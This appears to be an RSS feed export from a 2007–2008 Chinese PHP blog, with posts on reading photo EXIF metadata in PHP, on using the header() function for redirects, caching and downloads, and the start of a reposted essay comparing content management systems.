#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;($exif[EXIF][ExposureMode]==1?</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">手动</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">自动</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">),&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">白平衡</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;($exif[EXIF][WhiteBalance]==1?</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">手动</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">自动</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">),&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">曝光程序</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$ExposureProgram[$exif[EXIF][ExposureProgram]],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">曝光补偿</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[EXIF][ExposureBiasValue].</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">EV</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ISO感光度</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[EXIF][ISOSpeedRatings],&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">分量配置</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(bin2hex($exif[EXIF][ComponentsConfiguration])==</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">01020300</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">?</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">YCbCr</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">RGB</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">),//'0x04,0x05,0x06,0x00'=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">RGB</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;'0x01,0x02,0x03,0x00'=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">YCbCr</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">图像压缩率</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[EXIF][CompressedBitsPerPixel].</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Bits</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">Pixel</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">对焦距离</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[COMPUTED][FocusDistance].</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">m</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">焦距</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[EXIF][FocalLength].</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">mm</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,&nbsp;<br></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">等价35mm焦距</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$exif[EXIF][FocalLengthIn35mmFilm].</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">mm</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,&nbsp;</span></div>
</strong></font>
<img src ="http://www.phpweblog.net/killjin/aggbug/2629.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/killjin/" target="_blank">Prog</a> 2008-01-01 04:27 <a href="http://www.phpweblog.net/killjin/archive/2008/01/01/2629.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>如何自动显示图片在拍摄时的一些参数(转)</title><link>http://www.phpweblog.net/killjin/archive/2008/01/01/2628.html</link><dc:creator>Prog</dc:creator><author>Prog</author><pubDate>Mon, 31 Dec 2007 16:20:00 GMT</pubDate><guid>http://www.phpweblog.net/killjin/archive/2008/01/01/2628.html</guid><wfw:comment>http://www.phpweblog.net/killjin/comments/2628.html</wfw:comment><comments>http://www.phpweblog.net/killjin/archive/2008/01/01/2628.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/killjin/comments/commentRss/2628.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/killjin/services/trackbacks/2628.html</trackback:ping><description><![CDATA[<p>　　最近迷恋上了一些网站的摄影作品，对比自己的傻瓜作品，觉得我白白糟蹋了大自然所赐予的美。总结经验，还是要在拍摄技术上下大功夫。于是决定把硬盘里的一大堆照片，让它们在拍摄时设置的参数与相片一起对比显示出来，供自己学习和纠正。 </p>
<p>　　图片的<a title=EXIF href="http://www.google.com/search?q=exif" target=_blank>EXIF</a>信息：<br><img title=Image height=305 alt=Image hspace=6 src="http://erst.cn/images/stories/miko/image078.jpg" width=294 border=0> </p>
<p><a title=exif name=exif></a><strong><u>什么是 EXIF</u></strong><br><br>　　Exif是英文Exchangeable Image File(可交换图像文件)的缩写，最初由日本电子工业发展协会(JEIDA --Japan Electronic Industry Development Association) 制订，目前的最新版本是2.21 版。国际标准化组织(ISO)正在制订的相机文件设计标准（DCF -- Design role for Camera File system）可能以Exif2.1为基础。<br><br>　　Exif 文件实际是JPEG文件的一种，遵从JPEG标准，只是在文件头信息中增加了有关拍摄信息的内容和索引图。所以你可以使用任何支持JPEG格式的图像工具软件观看或修改Exif文件，但，打开时可能看不到Exif信息，一旦修改，Exif信息可能丢失。<br><u><strong><br></strong></u>　　简单来说，EXIF 信息就是由数码相机在拍摄过程中采集一系列的信息，然后把信息放置在我们熟知的 JPEG/TIFF 文件的头部，也就是说 EXIF 信息是镶嵌在 JPEG/TIFF 图像文件格式内的一组拍摄参数，主要包括摄影时的光圈、快门、ISO、日期时间等各种与当时摄影条件相关的讯息，相机品牌型号，色彩编码，拍摄时录制的声音以及全球定位系统（GPS）等信息。简单的说，它就好像是傻瓜相机的日期打印功能一样，只不过 EXIF 信息所记录的资讯更为详尽和完备。 </p>
<ul>
    <li><a href="http://www.exshow.net/download/exif21.pdf" target=_blank><u><font color=#0000ff>Exif21.pdf</font></u></a> (580k) <a href="http://www.jeida.or.jp/" target=_blank><u><font color=#0000ff>JEIDA</font></u></a> 制定的EXIF 2.1 官方标准。(1998.6.12)
    <li><a href="http://www.exshow.net/download/exif22.pdf" target=_blank><u><font color=#0000ff>Exif22.pdf</font></u></a> (750k) <a href="http://www.jeida.or.jp/" target=_blank><u><font color=#0000ff>JEIDA</font></u></a> 制定的EXIF 2.2 官方标准。(2002.4)
    <li><a href="http://www.exshow.net/download/exif.htm" target=_blank><u><font color=#0000ff>EXIF 文件格式说明</font></u></a> 一个日本人写的 EXIF 英文参考文档，内容很详细。 </li>
</ul>
<p><em><strong>Exif的标识</strong></em><br><br>　　所有的JPEG文件以字符串&#8220;0xFFD8&#8221;开头，并以字符串&#8220;0xFFD9&#8221;结束。文件头中有一系列&#8220;0xFF??&#8221;格式的字符串，称为&#8220;标识&#8221;，用来标记JPEG文件的信息段。&#8220;0xFFD8&#8221;表示图像信息开始，&#8220;0xFFD9&#8221;表示图像信息结束，这两个标识后面没有信息，而其它标识紧跟一些信息字符。<br><br>　　0xFFE0 -- 0xFFEF之间的标识符称为&#8220;应用标记&#8221;，没有被常规JPEG文件利用，Exif正是利用这些信息串记录拍摄信息如快门速度、光圈值等，甚至可以包括全球定位信息。按照Exif2.1标准对这些标识符的定义，数码相机可以把各种拍摄信息记入数码图像中，应用软件可以读取这些数据，再按照Exif2.1标准，检索出它们的具体含义,一般而言包括以下一些信息：<br><br><span class=bg_light>Image Description 图像描述、来源. 指生成图像的工具 <br>Artist作者 有些相机可以输入使用者的名字 <br>Make 生产者 指产品生产厂家 <br>Model 型号 指设备型号 <br>Orientation方向 有的相机支持，有的不支持 <br>XResolution/YResolution X/Y方向分辨率 本栏目已有专门条目解释此问题。 <br>ResolutionUnit分辨率单位 一般为PPI <br>Software软件 显示固件Firmware版本 <br>DateTime日期和时间 <br>YCbCrPositioning 色相定位 <br>ExifOffsetExif信息位置，定义Exif在信息在文件中的写入，有些软件不显示。 <br>ExposureTime 曝光时间 即快门速度 <br>FNumber光圈系数 <br>ExposureProgram曝光程序 指程序式自动曝光的设置，各相机不同,可能是Sutter Priority（快门优先）、Aperture Priority（快门优先）等等。 <br>ISO speed ratings感光度 <br>ExifVersionExif版本 <br>DateTimeOriginal创建时间 <br>DateTimeDigitized数字化时间 <br>ComponentsConfiguration图像构造（多指色彩组合方案） <br>CompressedBitsPerPixel(BPP)压缩时每像素色彩位 指压缩程度 <br>ExposureBiasValue曝光补偿。 <br>MaxApertureValue最大光圈 <br>MeteringMode测光方式， 平均式测光、中央重点测光、点测光等。 <br>Lightsource光源 指白平衡设置 <br>Flash是否使用闪光灯。 <br>FocalLength焦距，一般显示镜头物理焦距，有些软件可以定义一个系数，从而显示相当于35mm相机的焦距 MakerNote(User Comment)作者标记、说明、记录 <br>FlashPixVersionFlashPix版本 （个别机型支持） <br>ColorSpace色域、色彩空间 <br>ExifImageWidth(Pixel X Dimension)图像宽度 指横向像素数 <br>ExifImageLength(Pixel Y Dimension)图像高度 指纵向像素数 <br>Interoperability IFD通用性扩展项定义指针 和TIFF文件相关，具体含义不详 <br>FileSource源文件 Compression压缩比。</span> </p>
<p><a title=exif name=exif></a><strong><u>在WINDOWS下查看图片EXIF信息</u></strong> </p>
<p>　　在windows下查看图片的EXIF信息比较方便，在资源管理器中用鼠标右键点击图片选择属性--&gt;摘要--&gt;高级。&nbsp; </p>
<p>&nbsp;<img title=Image height=362 alt=Image hspace=6 src="http://erst.cn/images/stories/miko/image079.jpg" width=334 border=0> <img title=Image height=454 alt=Image hspace=6 src="http://erst.cn/images/stories/miko/image080.jpg" width=352 border=0> </p>
<p><a title=exif name=exif></a><strong><u>如何在程序中调用图片EXIF信息</u></strong> </p>
<p>　　这方面我没有做太多查询研究，网上java、c++的代码都有，不过我偏爱的php似乎在这方面的支持更直接简洁，上手较快。 </p>
<p>参考资料：<a title="php的Exif Functions" href="http://php.erst.cn/manual/zh/ref.exif.php" target=_blank>php的Exif Functions</a> </p>
<p>先用&lt;? phpinfo(); ?&gt;查找一下是否有EXIF模块 </p>
<p><img title=Image height=160 alt=Image hspace=6 src="http://erst.cn/images/stories/miko/image081.jpg" width=614 border=0> </p>
<p>如果没有找到EXIF调用，只须重新编译一下php即可，步骤如下： </p>
<blockquote>
<p><strong>1</strong>、停掉apache进程<br><strong>2</strong>、找到php源码文件，进入后重新编译，编译时加入--enable-exif。例：<br><span class=typecode>./configure --prefix=/usr/local/php --with-apxs2=/usr/local/apache2/bin/apxs --enable-force-cgi-redirect &#8230;&#8230;省略若干 &#8230;&#8230;--enable-mbstr-enc-trans --enable-exif <br>./make<br>./make install<br></span><strong>3</strong>、开启apache进程即可，不用担心重新设置php.ini文件，如果使用Zend，也不必担心需要重新安装Zend加速。 </p>
</blockquote>
<p>&nbsp; </p>
<p>&nbsp; </p>
<dt><strong>PHP EXIF函数的使用：</strong>
<dt>
<dt><a href="http://php.erst.cn/manual/zh/function.exif-imagetype.php">exif_imagetype</a>&nbsp;--&nbsp;判断一个图像的类型
<dt><a href="http://php.erst.cn/manual/zh/function.exif-read-data.php">exif_read_data</a>&nbsp;--&nbsp; 从 JPEG 或 TIFF 文件中读取 EXIF 头信息
<dt><a href="http://php.erst.cn/manual/zh/function.exif-tagname.php">exif_tagname</a>&nbsp;--&nbsp;Get the header name for an index
<dt><a href="http://php.erst.cn/manual/zh/function.exif-thumbnail.php">exif_thumbnail</a>&nbsp;--&nbsp;取得嵌入在 TIFF 或 JPEG 图像中的缩略图
<p>array <strong>exif_read_data</strong> ( string filename [, string sections [, bool arrays [, bool thumbnail]]] )<br></p>
<p>使用举例： </p>
<div class=code>&lt;?php<br>// 设置图片路径，必须是系统完整的路径<br>$dir = "/gallery";<br><br>//下面请注意exif_read_data读取的文件路径是与本程序所在位置相对的路径<br>$exif = exif_read_data('CIMG7348.jpg', 0, true);<br>echo "显示CIMG7348.jpg的元信息：&lt;br /&gt;\n";<br>foreach ($exif as $key =&gt; $section) {<br>&nbsp;&nbsp; foreach ($section as $name =&gt; $val) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo "$key.$name: $val&lt;br /&gt;\n";<br>&nbsp;&nbsp; }<br>}<br>?&gt; </div>
<p>上面的代码执行后显示如下（其中EXIF.MakerNote会显示很长一段乱码，所以去除了）： </p>
<p class=typecode>CIMG7348.jpg:<br>FILE.FileName: CIMG7348.jpg<br>FILE.FileDateTime: 1043148976<br>FILE.FileSize: 1465229<br>FILE.FileType: 2<br>FILE.MimeType: image/jpeg<br>FILE.SectionsFound: ANY_TAG, IFD0, THUMBNAIL, EXIF, INTEROP<br>COMPUTED.html: width="2240" height="1680"<br>COMPUTED.Height: 1680<br>COMPUTED.Width: 2240<br>COMPUTED.IsColor: 1<br>COMPUTED.ByteOrderMotorola: 1<br>COMPUTED.ApertureFNumber: f/2.8<br>COMPUTED.Thumbnail.FileType: 2<br>COMPUTED.Thumbnail.MimeType: image/jpeg<br>IFD0.Make: CASIO COMPUTER CO.,LTD <br>IFD0.Model: QV-R40 <br>IFD0.Orientation: 1<br>IFD0.XResolution: 72/1<br>IFD0.YResolution: 72/1<br>IFD0.ResolutionUnit: 2<br>IFD0.Software: 1.00 <br>IFD0.DateTime: 2003:01:21 19:36:15<br>IFD0.YCbCrPositioning: 1<br>IFD0.Exif_IFD_Pointer: 276<br>IFD0.UndefinedTag:0xC4A5: PrintIM0250<br>THUMBNAIL.Compression: 6<br>THUMBNAIL.XResolution: 72/1<br>THUMBNAIL.YResolution: 72/1<br>THUMBNAIL.ResolutionUnit: 2<br>THUMBNAIL.JPEGInterchangeFormat: 32992<br>THUMBNAIL.JPEGInterchangeFormatLength: 8366<br>EXIF.ExposureTime: 1/125<br>EXIF.FNumber: 28/10<br>EXIF.ExposureProgram: 2<br>EXIF.ExifVersion: 0220<br>EXIF.DateTimeOriginal: 2003:01:21 19:36:15<br>EXIF.DateTimeDigitized: 2003:01:21 19:36:15<br>EXIF.ComponentsConfiguration: <br>EXIF.CompressedBitsPerPixel: 1468416/3763200<br>EXIF.ExposureBiasValue: 0/3<br>EXIF.MaxApertureValue: 30/10<br>EXIF.MeteringMode: 5<br>EXIF.LightSource: 0<br>EXIF.Flash: 16<br>EXIF.FocalLength: 800/100<br>EXIF.ColorSpace: 1<br>EXIF.ExifImageWidth: 2240<br>EXIF.ExifImageLength: 1680<br>EXIF.InteroperabilityOffset: 32868<br>EXIF.FileSource: <br>EXIF.CustomRendered: 0<br>EXIF.ExposureMode: 0<br>EXIF.WhiteBalance: 0<br>EXIF.DigitalZoomRatio: 0/0<br>EXIF.FocalLengthIn35mmFilm: 39<br>EXIF.SceneCaptureType: 0<br>EXIF.GainControl: 0<br>EXIF.Contrast: 0<br>EXIF.Saturation: 2<br>EXIF.Sharpness: 2<br>INTEROP.InterOperabilityIndex: R98<br>INTEROP.InterOperabilityVersion: 0100<br></p>
<p>用上面这种方法，可以在你不确定图片头有哪些信息名，和与其相应的值时，起到通览的作用。当然，你也可以在程序中调用指定的头信息： </p>
<div class=code>echo "镜头类型：" . $exif['IFD0']['Model']; </div>
<p>从原始图片中提取缩略图，并显示的方法：&nbsp; </p>
<p>string <strong class=methodname>exif_thumbnail</strong> ( string filename [, int &amp;width [, int &amp;height [, int &amp;imagetype]]] ) </p>
<div class=code><font face="Courier New"><span class=default>&lt;?php<br>$imgdat </span><span class=keyword>= </span><span class=default>exif_thumbnail</span><span class=keyword>(</span><span class=default>'CIMG7348.jpg'</span><span class=keyword>]</span></font><font face="Courier New"><span class=keyword>);<br></span><span class=default>header</span><span class=keyword>(</span><span class=string>'Content-type: ' </span><span class=keyword>. </span><span class=default>image_type_to_mime_type</span><span class=keyword>(</span><span class=default>image/jpeg</span></font><font face="Courier New"><span class=keyword>));<br>echo(</span><span class=default>$imgdat</span></font><span class=keyword><font face="Courier New">);<br></font></span><span class=default><font face="Courier New">?&gt;</font></span> </div>
<p>详细内容可参考php的相关手册进行开发。 <br><br>备注:<br>本站文章若非注明，均属原创。转载请保持文章完整性, 不足之处欢迎来信交流指教. 作者邮箱：<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#110;&#105;&#99;&#101;&#107;&#101;&#121;&#64;&#103;&#109;&#97;&#105;&#108;&#46;&#99;&#111;&#109;"><font color=#6666cc>nicekey@gmail.com</font></a> 网站：<a href=""><font color=#6666cc>http://erst.cn/</font></a> </p>
</dt>
<img src ="http://www.phpweblog.net/killjin/aggbug/2628.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/killjin/" target="_blank">Prog</a> 2008-01-01 00:20 <a href="http://www.phpweblog.net/killjin/archive/2008/01/01/2628.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP:Header使用</title><link>http://www.phpweblog.net/killjin/archive/2007/12/28/2613.html</link><dc:creator>Prog</dc:creator><author>Prog</author><pubDate>Thu, 27 Dec 2007 17:42:00 GMT</pubDate><guid>http://www.phpweblog.net/killjin/archive/2007/12/28/2613.html</guid><wfw:comment>http://www.phpweblog.net/killjin/comments/2613.html</wfw:comment><comments>http://www.phpweblog.net/killjin/archive/2007/12/28/2613.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/killjin/comments/commentRss/2613.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/killjin/services/trackbacks/2613.html</trackback:ping><description><![CDATA[<p><strong>header()</strong> 函数用来发送一个原始 <acronym class=acronym>HTTP</acronym> 标头（有关 <acronym class=acronym>HTTP</acronym> 标头的更多内容见 <a href="http://www.faqs.org/rfcs/rfc2616" target=_top><font color=#223355>HTTP/1.1 规范</font></a>）。</p>
<p>其原型如下：<br>void <strong class=methodname>header</strong> ( string string [, bool replace [, int http_response_code]] )</p>
<p>可选参数 replace 指明是替换掉前一条类似的标头还是增加一条相同类型的标头。默认为替换，但如果将其设为 FALSE 则可以强制发送多个同类标头。例如: </p>
<p>&lt;?php<br>&nbsp;header('WWW-Authenticate: Negotiate');<br>&nbsp;header('WWW-Authenticate: NTLM', false);<br>?&gt;&nbsp; </p>
<p>第二个可选参数 http_response_code 强制将 HTTP 响应代码设为指定值（此参数是 PHP 4.3.0 新加的）。 </p>
<p>有两种特殊的 header 调用。第一种是标头以字符串&#8220;HTTP/&#8221;（大小写不重要）开头的，可以用来确定要发送的 HTTP 状态码。例如，如果配置了 Apache 用 PHP 来处理找不到文件的错误处理请求（使用 ErrorDocument 指令），需要确保脚本产生了正确的状态码。 </p>
<p>&lt;?php<br>&nbsp;header("HTTP/1.0 404 Not Found")<br>?&gt;&nbsp; </p>
<p>注: HTTP 状态码标头行总是第一个被发送到客户端，而并不管实际的 header() 调用是否是第一个。除非 HTTP 标头已经发送出去，任何时候都可以通过用新的状态行调用 header() 函数来覆盖原先的。 </p>
<p>第二种特殊情况是以&#8220;Location:&#8221;标头。它不只是把这个标头发送回浏览器，它还将一个 REDIRECT（302）状态码返回给浏览器，除非之前已经发出了某个 3xx 状态码。 </p>
<p>&lt;?php<br>header("Location: <a href="http://www.example.com/"><font color=#223355>http://www.example.com/</font></a>"); /* 重定向浏览器 */<br>/* 确保重定向后，后续代码不会被执行 */<br>exit;<br>?&gt;&nbsp; </p>
<p>注: HTTP/1.1 标准需要一个绝对地址的 URI 做为 Location: 的参数, 但有一些客户端支持相对 URI。通常可以使用 $_SERVER['HTTP_HOST']、$_SERVER['PHP_SELF'] 及 dirname() 函数来自己从相对 URI 产生出绝对 URI： </p>
<p>&lt;?php<br>&nbsp;header("Location: <a href="http://%22.$_server['http_host'/"><font color=#223355>http://".$_SERVER['HTTP_HOST'</font></a>]. rtrim(dirname($_SERVER['PHP_SELF']), '/\\')."/".$relative_url);<br>?&gt;<br>&nbsp;<br>PHP 脚本通常会产生一些动态内容，这些内容必须不被浏览器或代理服务器缓存。很多代理服务器和浏览器都可以被下面的方法禁止缓存： </p>
<p>&lt;?php<br>&nbsp;header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1<br>&nbsp;header("Expires: Mon, 1 Jul 2005 01:00:00 GMT"); // 过去的时间<br>?&gt;&nbsp; </p>
<p>注: header() 必须在任何实际输出之前调用，不论是来自普通的 HTML 标记，空行或者 PHP。有一个常见错误就是在通过 include()，require() 或一些其它的文件存取类函数读取代码时，有一些空格或者空行在调用 header() 之前被发送了出去。同样在一个单独的 PHP/HTML 文件中这个错误也很普遍。 </p>
<p>&lt;html&gt;<br>&lt;?php<br>&nbsp;/* 这将产生一个错误，因为在调 header() 之前已经输出了东西 */<br>&nbsp;header('Location: <a href="http://www.example.com/'"><font color=#223355>http://www.example.com/'</font></a>);<br>?&gt;&nbsp; </p>
<p>注: 自 PHP 4 起，可以通过一些输出缓冲函数来解决这个问题。代价是把所有向浏览器的输出都缓存在服务器，直到下命令发送它们。可以在代码中使用 ob_start() 及 ob_end_flush() 来实现这样的功能，或者通过修改 php.ini 中的 output_buffering 配置选项来实现，也可以通过修改服务器配置文件来实现。 </p>
<p>如果想提示用户保存所发送的数据，例如一个生成的 PDF 文件，可以通过发送 Content-Disposition 标头提供推荐的文件名来强制浏览器弹出一个保存文件对话框。 </p>
<p>&lt;?php<br>&nbsp;// 这样将会直接输出一个 PDF 文件<br>&nbsp;header('Content-type: application/pdf');<br>&nbsp;// 这样做就会提示下载 PDF 文件 downloaded.pdf<br>&nbsp;header('Content-Disposition: attachment; filename="downloaded.pdf"');<br>&nbsp;// 这是 original.pdf 的源文件<br>&nbsp;readfile('original.pdf');<br>?&gt;&nbsp; </p>
<img src ="http://www.phpweblog.net/killjin/aggbug/2613.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/killjin/" target="_blank">Prog</a> 2007-12-28 01:42 <a href="http://www.phpweblog.net/killjin/archive/2007/12/28/2613.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>我的内容管理系统(CMS)寻找历程 -- Mambo出鞘，谁与争锋？[转]</title><link>http://www.phpweblog.net/killjin/archive/2007/12/26/2607.html</link><dc:creator>Prog</dc:creator><author>Prog</author><pubDate>Wed, 26 Dec 2007 09:39:00 GMT</pubDate><guid>http://www.phpweblog.net/killjin/archive/2007/12/26/2607.html</guid><wfw:comment>http://www.phpweblog.net/killjin/comments/2607.html</wfw:comment><comments>http://www.phpweblog.net/killjin/archive/2007/12/26/2607.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/killjin/comments/commentRss/2607.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/killjin/services/trackbacks/2607.html</trackback:ping><description><![CDATA[<div class=t_msgfont id=message530>　　如果你也象我一样，一直苦苦寻找合适的网站内容管理系统，那么本文可作为一个参考。<br><br>　　在为时半年的漫漫内容管理系统寻找历程中，Drupal、Tikiwiki、PhpNuke、PostNuke、Xoops、Tikipro、Mambo等一批优秀的内容管理系统逐个登台亮相，究竟我是如何找到它们？它们都有哪些优点，哪些缺点？最终我为什么选择Mambo？请看下述详细分解。<br><br>　　一直以来，我都在琢磨要在网络浪潮中做点什么，网络泡沫2000年破灭至今也有3、4个年头，网络经济的第二春是不是开始萌动了？当时的网络浪潮没能赶上，有点遗憾也很庆幸，遗憾是不能爽一把，幸亏没赶上，不然肯定死得很惨。存活下来的网络公司好像有收入了，收支平衡了，甚至开始盈利了。越想越坐不住，是时候该做点什么了！<br><br>　　且不管有什么好的想法或点子，肯定都要通过网站的形式来实现。现实的情况，不是没有想法，而是想法太多，每多一个想法都兴奋一阵子，失眠好几天，但却不知道能不能行得通，需要做个网站试试才知道。不可能每个想法都从头手工做一个网站，哪有这么多时间和精力，得有一个通用的网站内容管理系统才行。<br><br>　　我非常迫切需要一个好的网站内容管理系统，来实现或检验我过多的想法，好让我能安心睡觉。对于有８年Deiphi开发经验，从1996年开始使用Delphi1.0，做过n个MIS系统的我来说，做个网站理论上是小菜一碟，原理非常简单，肯定没有MIS复杂！可这仅仅停留在理论上，真正做起来麻烦死了！先说html语言，拿来做界面虽说是所见即所得，但是稍微不注意就弄得面目全非，好看点的界面需要css，输入控制需要javascript，纯粹是体力活，麻烦死了！要是Delphi，只要几个控件就轻松解决问题，html要老半天，试问一个网站有多少个界面，需要多少个老半天？再说开发调试，Delphi编译报错，当场就能找出问题所在，几秒钟就解决Bug，而php/asp的运行报错，不敢奢求快速找到错误，往往是几个钟头都找不到，几天都解决不了一个Bug！天啊，晕死了！我的网站内容管理系统什么时候才能做出来呀？<br><br>　　自从知道有开放源码的建站系统后，我马上放弃自己开发的念头，牛顿说过，伟大是因为站在巨人的肩膀上。现在有免费的巨人肩膀，干嘛不站？也许不会全部满足需要，但在别人的基础上扩展和改进，也比从头开发容易，更何况开放源码的系统有很多优秀开发团队参与，系统性能也会比我独自闭门造出来的车好，还可以跟着升级，这么美的差事，何乐而不为？<br><br>　　2003年11月，我开始了轰轰烈烈的网站内容管理系统(CMS)寻找历程。<br><br>　　首先映入我眼帘的是Drupal，4.3版本，官方网站<a href="http://www.drupal.org/" target=_blank>http://www.drupal.org</a>，这个名字好怪，不知道什么意思。Drupal系统的功能很多，可实现文章、论坛、Blog等应用，有很多第三方插件扩展使用；界面很简洁，我比较喜欢，我个人比较喜欢像Google那样简洁的界面，也许是被html界面搞怕了，有点花样的界面就感到头疼！Drupal更令我叹服的是数据库设计非常精简，20多个表就实现很多功能，通过严格的数据库编码，使多个功能共用几张表，在数据库设计精简方面堪称一流！但我个人并不赞赏这种数据库设计模式，这往往要付出额外的代价，一来源码很难阅读，二来系统功能扩展困难，三来系统维护也很复杂，四来可能会降低系统运行效率。但我最关心的是有没有汉化支持，幸亏国内有海微在做汉化工作<a href="http://www.hiweed.com/" target=_blank>http://www.hiweed.com</a>，虽然汉化程度不高，但总比没有好。但令我奇怪的是，本来系统的运行速度还可以，可刚做了汉化，系统突然变得很慢，才几条记录，打开一个页面需要1秒多的时间，这可是在局域网，要是放到互联网上会成什么样子？！我大概看了一下，发现原来Drupal的汉化是放在数据库中的，如果界面上有100个英文需要翻译成中文，那么需要读取100次数据库，这么频繁的数据库读取，系统不慢才怪！我只有忍痛割爱了，cut！<br><br>　　接下来到<a 